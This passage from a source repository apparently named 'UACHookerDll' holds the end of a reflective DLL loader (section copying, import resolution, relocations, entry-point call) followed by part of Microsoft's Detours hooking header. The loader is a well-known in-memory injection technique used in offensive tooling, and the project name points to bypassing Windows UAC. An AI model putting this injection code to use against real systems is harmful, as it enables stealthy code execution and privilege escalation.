297 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
298 |
299 | // copy the section over
300 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
301 |
302 | while (uiValueD--)
303 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
304 |
305 | // get the VA of the next section
306 | uiValueA += sizeof(IMAGE_SECTION_HEADER);
307 | }
308 |
309 | // STEP 4: process our images import table...
310 |
311 | // uiValueB = the address of the import directory
312 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
313 |
314 | // we assume their is an import table to process
315 | // uiValueC is the first entry in the import table
316 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
317 |
318 | // itterate through all imports
319 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
320 | {
321 | // use LoadLibraryA to load the imported module into memory
322 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
323 |
324 | // uiValueD = VA of the OriginalFirstThunk
325 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
326 |
327 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
328 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
329 |
330 | // itterate through all imported functions, importing by ordinal if no name present
331 | while (DEREF(uiValueA))
332 | {
333 | // sanity check uiValueD as some compilers only import by FirstThunk
334 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
335 | {
336 | // get the VA of the modules NT Header
337 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
338 |
339 | // uiNameArray = the address of the modules export directory entry
340 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
341 |
342 | // get the VA of the export directory
343 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
344 |
345 | // get the VA for the array of addresses
346 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
347 |
348 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
349 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
350 |
351 | // patch in the address for this imported function
352 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
353 | }
354 | else
355 | {
356 | // get the VA of this functions import by name struct
357 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
358 |
359 | // use GetProcAddress and patch in the address for this imported function
360 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
361 | }
362 | // get the next imported function
363 | uiValueA += sizeof(ULONG_PTR);
364 | if (uiValueD)
365 | uiValueD += sizeof(ULONG_PTR);
366 | }
367 |
368 | // get the next import
369 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
370 | }
371 |
372 | // STEP 5: process all of our images relocations...
373 |
374 | // calculate the base address delta and perform relocations (even if we load at desired image base)
375 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
376 |
377 | // uiValueB = the address of the relocation directory
378 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
379 |
380 | // check if their are any relocations present
381 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
382 | {
383 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
384 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
385 |
386 | // and we itterate through all entries...
387 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
388 | {
389 | // uiValueA = the VA for this relocation block
390 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
391 |
392 | // uiValueB = number of entries in this relocation block
393 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
394 |
395 | // uiValueD is now the first entry in the current relocation block
396 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
397 |
398 | // we itterate through all the entries in the current block...
399 | while (uiValueB--)
400 | {
401 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
402 | // we dont use a switch statement to avoid the compiler building a jump table
403 | // which would not be very position independent!
404 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
405 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
406 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
407 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
408 | #ifdef WIN_ARM
409 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
410 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
411 | {
412 | register DWORD dwInstruction;
413 | register DWORD dwAddress;
414 | register WORD wImm;
415 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
416 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
417 | // flip the words to get the instruction as expected
418 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
419 | // sanity chack we are processing a MOV instruction...
420 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
421 | {
422 | // pull out the encoded 16bit value (the high portion of the address-to-relocate)
423 | wImm = (WORD)(dwInstruction & 0x000000FF);
424 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
425 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
426 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
427 | // apply the relocation to the target address
428 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
429 | // now create a new instruction with the same opcode and register param.
430 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
431 | // patch in the relocated address...
432 | dwInstruction |= (DWORD)(dwAddress & 0x00FF);
433 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
434 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
435 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
436 | // now flip the instructions words and patch back into the code...
437 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
438 | }
439 | }
440 | #endif
441 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
442 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
443 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
444 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
445 |
446 | // get the next entry in the current relocation block
447 | uiValueD += sizeof(IMAGE_RELOC);
448 | }
449 |
450 | // get the next entry in the relocation directory
451 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
452 | }
453 | }
454 |
455 | // STEP 6: call our images entry point
456 |
457 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point
458 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
459 |
460 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
461 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
462 |
463 | // call our respective entry point, fudging our hInstance value
464 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
465 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
467 | #else
468 | // if we are injecting an DLL via a stub we call DllMain with no parameter
469 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
470 | #endif
471 |
472 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
473 | return uiValueA;
474 | }
475 | //===============================================================================================//
476 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
477 |
478 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
479 | {
480 | BOOL bReturnValue = TRUE;
481 | switch (dwReason)
482 | {
483 | case DLL_QUERY_HMODULE:
484 | if (lpReserved != NULL)
485 | *(HMODULE*)lpReserved = hAppInstance;
486 | break;
487 | case DLL_PROCESS_ATTACH:
488 | hAppInstance = hinstDLL;
489 | break;
490 | case DLL_PROCESS_DETACH:
491 | case DLL_THREAD_ATTACH:
492 | case DLL_THREAD_DETACH:
493 | break;
494 | }
495 | return bReturnValue;
496 | }
497 |
498 | #endif
499 | //===============================================================================================//
500 |
--------------------------------------------------------------------------------
/UACHookerDll/detours.h:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////////////
2 | //
3 | // Core Detours Functionality (detours.h of detours.lib)
4 | //
5 | // Microsoft Research Detours Package, Version 4.0.1
6 | //
7 | // Copyright (c) Microsoft Corporation. All rights reserved.
8 | //
9 |
10 | #pragma once
11 | #ifndef _DETOURS_H_
12 | #define _DETOURS_H_
13 |
14 | #define DETOURS_VERSION 0x4c0c1 // 0xMAJORcMINORcPATCH
15 |
16 | //////////////////////////////////////////////////////////////////////////////
17 | //
18 |
19 | #undef DETOURS_X64
20 | #undef DETOURS_X86
21 | #undef DETOURS_IA64
22 | #undef DETOURS_ARM
23 | #undef DETOURS_ARM64
24 | #undef DETOURS_BITS
25 | #undef DETOURS_32BIT
26 | #undef DETOURS_64BIT
27 |
28 | #if defined(_X86_)
29 | #define DETOURS_X86
30 | #define DETOURS_OPTION_BITS 64
31 |
32 | #elif defined(_AMD64_)
33 | #define DETOURS_X64
34 | #define DETOURS_OPTION_BITS 32
35 |
36 | #elif defined(_IA64_)
37 | #define DETOURS_IA64
38 | #define DETOURS_OPTION_BITS 32
39 |
40 | #elif defined(_ARM_)
41 | #define DETOURS_ARM
42 |
43 | #elif defined(_ARM64_)
44 | #define DETOURS_ARM64
45 |
46 | #else
47 | #error Unknown architecture (x86, amd64, ia64, arm, arm64)
48 | #endif
49 |
50 | #ifdef _WIN64
51 | #undef DETOURS_32BIT
52 | #define DETOURS_64BIT 1
53 | #define DETOURS_BITS 64
54 | // If all 64bit kernels can run one and only one 32bit architecture.
55 | //#define DETOURS_OPTION_BITS 32
56 | #else
57 | #define DETOURS_32BIT 1
58 | #undef DETOURS_64BIT
59 | #define DETOURS_BITS 32
60 | // If all 64bit kernels can run one and only one 32bit architecture.
61 | //#define DETOURS_OPTION_BITS 32
62 | #endif
63 |
64 | #define VER_DETOURS_BITS DETOUR_STRINGIFY(DETOURS_BITS)
65 |
66 | //////////////////////////////////////////////////////////////////////////////
67 | //
68 |
69 | #if (_MSC_VER < 1299)
70 | typedef LONG LONG_PTR;
71 | typedef ULONG ULONG_PTR;
72 | #endif
73 |
74 | ///////////////////////////////////////////////// SAL 2.0 Annotations w/o SAL.
75 | //
76 | // These definitions are include so that Detours will build even if the
77 | // compiler doesn't have full SAL 2.0 support.
78 | //
79 | #ifndef DETOURS_DONT_REMOVE_SAL_20
80 |
81 | #ifdef DETOURS_TEST_REMOVE_SAL_20
82 | #undef _Analysis_assume_
83 | #undef _Benign_race_begin_
84 | #undef _Benign_race_end_
85 | #undef _Field_range_
86 | #undef _Field_size_
87 | #undef _In_
88 | #undef _In_bytecount_
89 | #undef _In_count_
90 | #undef _In_opt_
91 | #undef _In_opt_bytecount_
92 | #undef _In_opt_count_
93 | #undef _In_opt_z_
94 | #undef _In_range_
95 | #undef _In_reads_
96 | #undef _In_reads_bytes_
97 | #undef _In_reads_opt_
98 | #undef _In_reads_opt_bytes_
99 | #undef _In_reads_or_z_
100 | #undef _In_z_
101 | #undef _Inout_
102 | #undef _Inout_opt_
103 | #undef _Inout_z_count_
104 | #undef _Out_
105 | #undef _Out_opt_
106 | #undef _Out_writes_
107 | #undef _Outptr_result_maybenull_
108 | #undef _Readable_bytes_
109 | #undef _Success_
110 | #undef _Writable_bytes_
111 | #undef _Pre_notnull_
112 | #endif
113 |
114 | #if defined(_Deref_out_opt_z_) && !defined(_Outptr_result_maybenull_)
115 | #define _Outptr_result_maybenull_ _Deref_out_opt_z_
116 | #endif
117 |
118 | #if defined(_In_count_) && !defined(_In_reads_)
119 | #define _In_reads_(x) _In_count_(x)
120 | #endif
121 |
122 | #if defined(_In_opt_count_) && !defined(_In_reads_opt_)
123 | #define _In_reads_opt_(x) _In_opt_count_(x)
124 | #endif
125 |
126 | #if defined(_In_opt_bytecount_) && !defined(_In_reads_opt_bytes_)
127 | #define _In_reads_opt_bytes_(x) _In_opt_bytecount_(x)
128 | #endif
129 |
130 | #if defined(_In_bytecount_) && !defined(_In_reads_bytes_)
131 | #define _In_reads_bytes_(x) _In_bytecount_(x)
132 | #endif
133 |
134 | #ifndef _In_
135 | #define _In_
136 | #endif
137 |
138 | #ifndef _In_bytecount_
139 | #define _In_bytecount_(x)
140 | #endif
141 |
142 | #ifndef _In_count_
143 | #define _In_count_(x)
144 | #endif
145 |
146 | #ifndef _In_opt_
147 | #define _In_opt_
148 | #endif
149 |
150 | #ifndef _In_opt_bytecount_
151 | #define _In_opt_bytecount_(x)
152 | #endif
153 |
154 | #ifndef _In_opt_count_
155 | #define _In_opt_count_(x)
156 | #endif
157 |
158 | #ifndef _In_opt_z_
159 | #define _In_opt_z_
160 | #endif
161 |
162 | #ifndef _In_range_
163 | #define _In_range_(x,y)
164 | #endif
165 |
166 | #ifndef _In_reads_
167 | #define _In_reads_(x)
168 | #endif
169 |
170 | #ifndef _In_reads_bytes_
171 | #define _In_reads_bytes_(x)
172 | #endif
173 |
174 | #ifndef _In_reads_opt_
175 | #define _In_reads_opt_(x)
176 | #endif
177 |
178 | #ifndef _In_reads_opt_bytes_
179 | #define _In_reads_opt_bytes_(x)
180 | #endif
181 |
182 | #ifndef _In_reads_or_z_
183 | #define _In_reads_or_z_
184 | #endif
185 |
186 | #ifndef _In_z_
187 | #define _In_z_
188 | #endif
189 |
190 | #ifndef _Inout_
191 | #define _Inout_
192 | #endif
193 |
194 | #ifndef _Inout_opt_
195 | #define _Inout_opt_
196 | #endif
197 |
198 | #ifndef _Inout_z_count_
199 | #define _Inout_z_count_(x)
200 | #endif
201 |
202 | #ifndef _Out_
203 | #define _Out_
204 | #endif
205 |
206 | #ifndef _Out_opt_
207 | #define _Out_opt_
208 | #endif
209 |
210 | #ifndef _Out_writes_
211 | #define _Out_writes_(x)
212 | #endif
213 |
214 | #ifndef _Outptr_result_maybenull_
215 | #define _Outptr_result_maybenull_
216 | #endif
217 |
218 | #ifndef _Writable_bytes_
219 | #define _Writable_bytes_(x)
220 | #endif
221 |
222 | #ifndef _Readable_bytes_
223 | #define _Readable_bytes_(x)
224 | #endif
225 |
226 | #ifndef _Success_
227 | #define _Success_(x)
228 | #endif
229 |
230 | #ifndef _Pre_notnull_
231 | #define _Pre_notnull_
232 | #endif
233 |
234 | #ifdef DETOURS_INTERNAL
235 |
236 | #pragma warning(disable:4615) // unknown warning type (suppress with older compilers)
237 |
238 | #ifndef _Benign_race_begin_
239 | #define _Benign_race_begin_
240 | #endif
241 |
242 | #ifndef _Benign_race_end_
243 | #define _Benign_race_end_
244 | #endif
245 |
246 | #ifndef _Field_size_
247 | #define _Field_size_(x)
248 | #endif
249 |
250 | #ifndef _Field_range_
251 | #define _Field_range_(x,y)
252 | #endif
253 |
254 | #ifndef _Analysis_assume_
255 | #define _Analysis_assume_(x)
256 | #endif
257 |
258 | #endif // DETOURS_INTERNAL
259 | #endif // DETOURS_DONT_REMOVE_SAL_20
260 |
261 | //////////////////////////////////////////////////////////////////////////////
262 | //
263 | #ifndef GUID_DEFINED
264 | #define GUID_DEFINED
265 | typedef struct _GUID
266 | {
267 | DWORD Data1;
268 | WORD Data2;
269 | WORD Data3;
270 | BYTE Data4[ 8 ];
271 | } GUID;
272 |
273 | #ifdef INITGUID
274 | #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
275 | const GUID name \
276 | = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } }
277 | #else
278 | #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
279 | const GUID name
280 | #endif // INITGUID
281 | #endif // !GUID_DEFINED
282 |
283 | #if defined(__cplusplus)
284 | #ifndef _REFGUID_DEFINED
285 | #define _REFGUID_DEFINED
286 | #define REFGUID const GUID &
287 | #endif // !_REFGUID_DEFINED
288 | #else // !__cplusplus
289 | #ifndef _REFGUID_DEFINED
290 | #define _REFGUID_DEFINED
291 | #define REFGUID const GUID * const
292 | #endif // !_REFGUID_DEFINED
293 | #endif // !__cplusplus
294 |
295 | #ifndef ARRAYSIZE
296 | #define ARRAYSIZE(x) (sizeof(x)/sizeof(x[0]))
297 | #endif
298 |
299 | //
300 | //////////////////////////////////////////////////////////////////////////////
301 |
302 | #ifdef __cplusplus
303 | extern "C" {
304 | #endif // __cplusplus
305 |
306 | /////////////////////////////////////////////////// Instruction Target Macros.
307 | //
308 | #define DETOUR_INSTRUCTION_TARGET_NONE ((PVOID)0)
309 | #define DETOUR_INSTRUCTION_TARGET_DYNAMIC ((PVOID)(LONG_PTR)-1)
310 | #define DETOUR_SECTION_HEADER_SIGNATURE 0x00727444 // "Dtr\0"
311 |
312 | extern const GUID DETOUR_EXE_RESTORE_GUID;
313 | extern const GUID DETOUR_EXE_HELPER_GUID;
314 |
315 | #define DETOUR_TRAMPOLINE_SIGNATURE 0x21727444 // Dtr!
316 | typedef struct _DETOUR_TRAMPOLINE DETOUR_TRAMPOLINE, *PDETOUR_TRAMPOLINE;
317 |
318 | /////////////////////////////////////////////////////////// Binary Structures.
319 | //
320 | #pragma pack(push, 8)
321 | typedef struct _DETOUR_SECTION_HEADER
322 | {
323 | DWORD cbHeaderSize;
324 | DWORD nSignature;
325 | DWORD nDataOffset;
326 | DWORD cbDataSize;
327 |
328 | DWORD nOriginalImportVirtualAddress;
329 | DWORD nOriginalImportSize;
330 | DWORD nOriginalBoundImportVirtualAddress;
331 | DWORD nOriginalBoundImportSize;
332 |
333 | DWORD nOriginalIatVirtualAddress;
334 | DWORD nOriginalIatSize;
335 | DWORD nOriginalSizeOfImage;
336 | DWORD cbPrePE;
337 |
338 | DWORD nOriginalClrFlags;
339 | DWORD reserved1;
340 | DWORD reserved2;
341 | DWORD reserved3;
342 |
343 | // Followed by cbPrePE bytes of data.
344 | } DETOUR_SECTION_HEADER, *PDETOUR_SECTION_HEADER;
345 |
346 | typedef struct _DETOUR_SECTION_RECORD
347 | {
348 | DWORD cbBytes;
349 | DWORD nReserved;
350 | GUID guid;
351 | } DETOUR_SECTION_RECORD, *PDETOUR_SECTION_RECORD;
352 |
353 | typedef struct _DETOUR_CLR_HEADER
354 | {
355 | // Header versioning
356 | ULONG cb;
357 | USHORT MajorRuntimeVersion;
358 | USHORT MinorRuntimeVersion;
359 |
360 | // Symbol table and startup information
361 | IMAGE_DATA_DIRECTORY MetaData;
362 | ULONG Flags;
363 |
364 | // Followed by the rest of the IMAGE_COR20_HEADER
365 | } DETOUR_CLR_HEADER, *PDETOUR_CLR_HEADER;
366 |
367 | typedef struct _DETOUR_EXE_RESTORE
368 | {
369 | DWORD cb;
370 | DWORD cbidh;
371 | DWORD cbinh;
372 | DWORD cbclr;
373 |
374 | PBYTE pidh;
375 | PBYTE pinh;
376 | PBYTE pclr;
377 |
378 | IMAGE_DOS_HEADER idh;
379 | union {
380 | IMAGE_NT_HEADERS inh;
381 | IMAGE_NT_HEADERS32 inh32;
382 | IMAGE_NT_HEADERS64 inh64;
383 | BYTE raw[sizeof(IMAGE_NT_HEADERS64) +
384 | sizeof(IMAGE_SECTION_HEADER) * 32];
385 | };
386 | DETOUR_CLR_HEADER clr;
387 |
388 | } DETOUR_EXE_RESTORE, *PDETOUR_EXE_RESTORE;
389 |
390 | typedef struct _DETOUR_EXE_HELPER
391 | {
392 | DWORD cb;
393 | DWORD pid;
394 | DWORD nDlls;
395 | CHAR rDlls[4];
396 | } DETOUR_EXE_HELPER, *PDETOUR_EXE_HELPER;
397 |
398 | #pragma pack(pop)
399 |
400 | #define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \
401 | { \
402 | sizeof(DETOUR_SECTION_HEADER),\
403 | DETOUR_SECTION_HEADER_SIGNATURE,\
404 | sizeof(DETOUR_SECTION_HEADER),\
405 | (cbSectionSize),\
406 | \
407 | 0,\
408 | 0,\
409 | 0,\
410 | 0,\
411 | \
412 | 0,\
413 | 0,\
414 | 0,\
415 | 0,\
416 | }
417 |
418 | /////////////////////////////////////////////////////////////// Helper Macros.
419 | //
420 | #define DETOURS_STRINGIFY(x) DETOURS_STRINGIFY_(x)
421 | #define DETOURS_STRINGIFY_(x) #x
422 |
423 | ///////////////////////////////////////////////////////////// Binary Typedefs.
424 | //
425 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_BYWAY_CALLBACK)(
426 | _In_opt_ PVOID pContext,
427 | _In_opt_ LPCSTR pszFile,
428 | _Outptr_result_maybenull_ LPCSTR *ppszOutFile);
429 |
430 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_FILE_CALLBACK)(
431 | _In_opt_ PVOID pContext,
432 | _In_ LPCSTR pszOrigFile,
433 | _In_ LPCSTR pszFile,
434 | _Outptr_result_maybenull_ LPCSTR *ppszOutFile);
435 |
436 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_SYMBOL_CALLBACK)(
437 | _In_opt_ PVOID pContext,
438 | _In_ ULONG nOrigOrdinal,
439 | _In_ ULONG nOrdinal,
440 | _Out_ ULONG *pnOutOrdinal,
441 | _In_opt_ LPCSTR pszOrigSymbol,
442 | _In_opt_ LPCSTR pszSymbol,
443 | _Outptr_result_maybenull_ LPCSTR *ppszOutSymbol);
444 |
445 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_COMMIT_CALLBACK)(
446 | _In_opt_ PVOID pContext);
447 |
448 | typedef BOOL (CALLBACK *PF_DETOUR_ENUMERATE_EXPORT_CALLBACK)(_In_opt_ PVOID pContext,
449 | _In_ ULONG nOrdinal,
450 | _In_opt_ LPCSTR pszName,
451 | _In_opt_ PVOID pCode);
452 |
453 | typedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FILE_CALLBACK)(_In_opt_ PVOID pContext,
454 | _In_opt_ HMODULE hModule,
455 | _In_opt_ LPCSTR pszFile);
456 |
457 | typedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FUNC_CALLBACK)(_In_opt_ PVOID pContext,
458 | _In_ DWORD nOrdinal,
459 | _In_opt_ LPCSTR pszFunc,
460 | _In_opt_ PVOID pvFunc);
461 |
462 | // Same as PF_DETOUR_IMPORT_FUNC_CALLBACK but extra indirection on last parameter.
463 | typedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FUNC_CALLBACK_EX)(_In_opt_ PVOID pContext,
464 | _In_ DWORD nOrdinal,
465 | _In_opt_ LPCSTR pszFunc,
466 | _In_opt_ PVOID* ppvFunc);
467 |
468 | typedef VOID * PDETOUR_BINARY;
469 | typedef VOID * PDETOUR_LOADED_BINARY;
470 |
471 | //////////////////////////////////////////////////////////// Transaction APIs.
472 | //
473 | LONG WINAPI DetourTransactionBegin(VOID);
474 | LONG WINAPI DetourTransactionAbort(VOID);
475 | LONG WINAPI DetourTransactionCommit(VOID);
476 | LONG WINAPI DetourTransactionCommitEx(_Out_opt_ PVOID **pppFailedPointer);
477 |
478 | LONG WINAPI DetourUpdateThread(_In_ HANDLE hThread);
479 |
480 | LONG WINAPI DetourAttach(_Inout_ PVOID *ppPointer,
481 | _In_ PVOID pDetour);
482 |
483 | LONG WINAPI DetourAttachEx(_Inout_ PVOID *ppPointer,
484 | _In_ PVOID pDetour,
485 | _Out_opt_ PDETOUR_TRAMPOLINE *ppRealTrampoline,
486 | _Out_opt_ PVOID *ppRealTarget,
487 | _Out_opt_ PVOID *ppRealDetour);
488 |
489 | LONG WINAPI DetourDetach(_Inout_ PVOID *ppPointer,
490 | _In_ PVOID pDetour);
491 |
492 | BOOL WINAPI DetourSetIgnoreTooSmall(_In_ BOOL fIgnore);
493 | BOOL WINAPI DetourSetRetainRegions(_In_ BOOL fRetain);
494 | PVOID WINAPI DetourSetSystemRegionLowerBound(_In_ PVOID pSystemRegionLowerBound);
495 | PVOID WINAPI DetourSetSystemRegionUpperBound(_In_ PVOID pSystemRegionUpperBound);
496 |
497 | ////////////////////////////////////////////////////////////// Code Functions.
498 | //
499 | PVOID WINAPI DetourFindFunction(_In_ LPCSTR pszModule,
500 | _In_ LPCSTR pszFunction);
501 | PVOID WINAPI DetourCodeFromPointer(_In_ PVOID pPointer,
502 | _Out_opt_ PVOID *ppGlobals);
503 | PVOID WINAPI DetourCopyInstruction(_In_opt_ PVOID pDst,
504 | _Inout_opt_ PVOID *ppDstPool,
505 | _In_ PVOID pSrc,
506 | _Out_opt_ PVOID *ppTarget,
507 | _Out_opt_ LONG *plExtra);
508 | BOOL WINAPI DetourSetCodeModule(_In_ HMODULE hModule,
509 | _In_ BOOL fLimitReferencesToModule);
510 |
511 | ///////////////////////////////////////////////////// Loaded Binary Functions.
512 | //
513 | HMODULE WINAPI DetourGetContainingModule(_In_ PVOID pvAddr);
514 | HMODULE WINAPI DetourEnumerateModules(_In_opt_ HMODULE hModuleLast);
515 | PVOID WINAPI DetourGetEntryPoint(_In_opt_ HMODULE hModule);
516 | ULONG WINAPI DetourGetModuleSize(_In_opt_ HMODULE hModule);
517 | BOOL WINAPI DetourEnumerateExports(_In_ HMODULE hModule,
518 | _In_opt_ PVOID pContext,
519 | _In_ PF_DETOUR_ENUMERATE_EXPORT_CALLBACK pfExport);
520 | BOOL WINAPI DetourEnumerateImports(_In_opt_ HMODULE hModule,
521 | _In_opt_ PVOID pContext,
522 | _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
523 | _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc);
524 |
525 | BOOL WINAPI DetourEnumerateImportsEx(_In_opt_ HMODULE hModule,
526 | _In_opt_ PVOID pContext,
527 | _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
528 | _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK_EX pfImportFuncEx);
529 |
530 | _Writable_bytes_(*pcbData)
531 | _Readable_bytes_(*pcbData)
532 | _Success_(return != NULL)
533 | PVOID WINAPI DetourFindPayload(_In_opt_ HMODULE hModule,
534 | _In_ REFGUID rguid,
535 | _Out_ DWORD *pcbData);
536 |
537 | _Writable_bytes_(*pcbData)
538 | _Readable_bytes_(*pcbData)
539 | _Success_(return != NULL)
540 | PVOID WINAPI DetourFindPayloadEx(_In_ REFGUID rguid,
541 | _Out_ DWORD * pcbData);
542 |
543 | DWORD WINAPI DetourGetSizeOfPayloads(_In_opt_ HMODULE hModule);
544 |
545 | ///////////////////////////////////////////////// Persistent Binary Functions.
546 | //
547 |
548 | PDETOUR_BINARY WINAPI DetourBinaryOpen(_In_ HANDLE hFile);
549 |
550 | _Writable_bytes_(*pcbData)
551 | _Readable_bytes_(*pcbData)
552 | _Success_(return != NULL)
553 | PVOID WINAPI DetourBinaryEnumeratePayloads(_In_ PDETOUR_BINARY pBinary,
554 | _Out_opt_ GUID *pGuid,
555 | _Out_ DWORD *pcbData,
556 | _Inout_ DWORD *pnIterator);
557 |
558 | _Writable_bytes_(*pcbData)
559 | _Readable_bytes_(*pcbData)
560 | _Success_(return != NULL)
561 | PVOID WINAPI DetourBinaryFindPayload(_In_ PDETOUR_BINARY pBinary,
562 | _In_ REFGUID rguid,
563 | _Out_ DWORD *pcbData);
564 |
565 | PVOID WINAPI DetourBinarySetPayload(_In_ PDETOUR_BINARY pBinary,
566 | _In_ REFGUID rguid,
567 | _In_reads_opt_(cbData) PVOID pData,
568 | _In_ DWORD cbData);
569 | BOOL WINAPI DetourBinaryDeletePayload(_In_ PDETOUR_BINARY pBinary, _In_ REFGUID rguid);
570 | BOOL WINAPI DetourBinaryPurgePayloads(_In_ PDETOUR_BINARY pBinary);
571 | BOOL WINAPI DetourBinaryResetImports(_In_ PDETOUR_BINARY pBinary);
